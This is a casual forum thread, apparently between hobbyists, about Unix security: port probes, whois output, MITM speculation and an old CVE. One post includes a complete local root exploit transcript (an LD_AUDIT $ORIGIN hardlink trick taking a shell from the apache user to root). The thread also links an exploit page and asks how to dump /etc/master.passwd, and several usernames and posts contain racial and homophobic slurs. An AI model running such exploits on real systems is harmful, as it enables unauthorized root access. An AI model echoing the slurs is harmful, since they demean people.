Attn Sonatine Unix questions

[anatine]

Quote:

Originally Posted by SkyNigger

Every window open is relevant to my WTF.

bash-3.2# grep 1433 /etc/services
ms-sql-s 1433/udp # Microsoft-SQL-Server
ms-sql-s 1433/tcp # Microsoft-SQL-Server
bash-3.2#

Im guessing this is a worm. How in christs name are servers on the internet passing packets directly to your tcp stack? We should discuss your general architecture and philosophy, this is worrisome to me in the extreme, its an excruciatingly high risk scenario for you.

[anatine]

Quote:

Originally Posted by SkyNigger

Every window open is relevant to my WTF.

new-host:~ jstorm$ whois 42.121.12.248
#
# Query terms are ambiguous. The query is assumed to be:
# "n 42.121.12.248"
#
# Use "?" to get help.
#

#
# The following results may also be obtained via:
# http://whois.arin.net/rest/nets;q=42...se&ext=netref2
#

NetRange: 42.0.0.0 - 42.255.255.255
CIDR: 42.0.0.0/8
OriginAS:
NetName: APNIC-42
NetHandle: NET-42-0-0-0-1
Parent:
NetType: Allocated to APNIC
Comment: This IP address range is not registered in the ARIN database.
Comment: For details, refer to the APNIC Whois Database via
Comment: WHOIS.APNIC.NET or http://wq.apnic.net/apnic-bin/whois.pl
Comment: ** IMPORTANT NOTE: APNIC is the Regional Internet Registry
Comment: for the Asia Pacific region. APNIC does not operate networks
Comment: using this IP address range and is not able to investigate
Comment: spam or abuse reports relating to these addresses. For more
Comment: help, refer to http://www.apnic.net/apnic-info/whoi...e-and-spamming
RegDate: 2010-10-26
Updated: 2011-04-12
Ref: http://whois.arin.net/rest/net/NET-42-0-0-0-1

OrgName: Asia Pacific Network Information Centre
OrgId: APNIC
Address: PO Box 3646
City: South Brisbane
StateProv: QLD
PostalCode: 4101
Country: AU
RegDate:
Updated: 2012-01-24
Ref: http://whois.arin.net/rest/org/APNIC

ReferralServer: whois://whois.apnic.net

OrgTechHandle: AWC12-ARIN
OrgTechName: APNIC Whois Contact
OrgTechPhone: +61 7 3858 3188
OrgTechEmail: search-apnic-not-arin@apnic.net
OrgTechRef: http://whois.arin.net/rest/poc/AWC12-ARIN

OrgAbuseHandle: AWC12-ARIN
OrgAbuseName: APNIC Whois Contact
OrgAbusePhone: +61 7 3858 3188
OrgAbuseEmail: search-apnic-not-arin@apnic.net
OrgAbuseRef: http://whois.arin.net/rest/poc/AWC12-ARIN

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#

% [whois.apnic.net node-3]
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html

inetnum: 42.120.0.0 - 42.121.255.255
netname: ALISOFT
descr: Aliyun Computing Co., LTD
descr: 5F, Builing D, the West Lake International Plaza of S&T
descr: No.391 Wen'er Road, Hangzhou, Zhejiang, China, 310099
country: CN



A Chinese IP probing for a notoriously insecure vector for exploitation?

Yeah thats a worm at least.

[anatine]

Quote:

Originally Posted by SkyNigger

Really?

Thailand does a lot of funky shit with their internet. Stateful inspection and so on. And a lot of products designed to lift the veil from encrypted traffic do so by explicitly disabling encryption.

The big boy governments simply use hash collision or rogue registrars to generate fake certs to accomplish the same means, of course.


Just saying.

[anatine]

Quote:

Originally Posted by SkyNigger

Journaled filesystems are a science unto themselves and I dont want to overstep my capabilities by trying to explain what that is or is not. What I will say is that a journaled filesystem is telling you what its doing in a way that *it* considers relevant, not the OS.

[nextlevelshit]

Maybe you should spend some money on a well made VPN solution if thailand is so devious they are shaping your traffic with Man in the middle type attacks.

[gay sex]

you 3 faggots gonna start playing wing commander next

[gay sex]

BUUUUUUURNNNNNNNN

[nextlevelshit]

Only time Gare has seen a bootup screen is when the power went out in Las Vegas.

[anatine]

Quote:

Originally Posted by SkyNigger

http://xforce.iss.net/xforce/xfdb/25949





And....system crash. Pretty sure that's a DoS....from the providers of the Service.

This exploit is from 2006. You are patched against it.

If you want to test that statement, here is your starting point:

http://www.securityfocus.com/bid/17634/exploit

If you can demonstrate that your OS is still vulnerable to CVE-2006-1983, then lets fire up the war machine in earnest.

However, demonstrating causation between an attack vector and a application fault is a standard requisite for the assumption of attack. Right now I see no causation, only bad programming resulting in a poorly logged error.

The creation/deletion of /dev/fd (file descriptors) is a standard methodology under the hood of a unix system and is not designed to make sense from the perspective of "find".

http://www.gsp.com/cgi-bin/man.cgi?s...=4&topic=stdin

That will shed a bit of light on it if you dig into the peripherals enough.

And really if youre going to get into the /dev file system, youre going to have a wonderful time if youre into that sort of thing:

id
uid=48(apache) gid=48(apache) groups=48(apache)
mkdir /tmp/skatz
ln /bin/ping /tmp/skatz/target
exec 3< /tmp/skatz/target
ls -l /proc/$$/fd/3
lr-x------ 1 apache apache 64 Jul 17 19:38 /proc/1438/fd/3 -> /tmp/skatz/target
rm -rf /tmp/skatz
ls -l /proc/$$/fd/3
lr-x------ 1 apache apache 64 Jul 17 19:38 /proc/1438/fd/3 -> /tmp/skatz/target (deleted)
ls -l /tmp/shell
-rwxr-xr-x 1 apache apache 6928 Jul 17 2012 /tmp/shell
mv /tmp/shell /tmp/skatz
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh: no job control in this shell
sh-3.1# id
uid=0(root) gid=0(root) groups=99(nobody)

(... an oldy but goody)

Comments

GODATINE

[anatine]

Quote:

Originally Posted by SkyNigger

But they could get a /bin/false deny right?



How does one dump the /etc/master.passwd file?

There would be no disclosure; any attempt at ssh'ing in would simply prompt them for a password then tell them password incorrect. Doesnt matter what shell the account has, none of that is even looked at by sshd until a password validation takes place. The results would be the same if the account did not exist. There are no 'blank' passwords generally, there are null passwords which mean no salted password can yield a positive authentication result.

I used to know how to dump the /etc/master.password file... let me ruminate a few.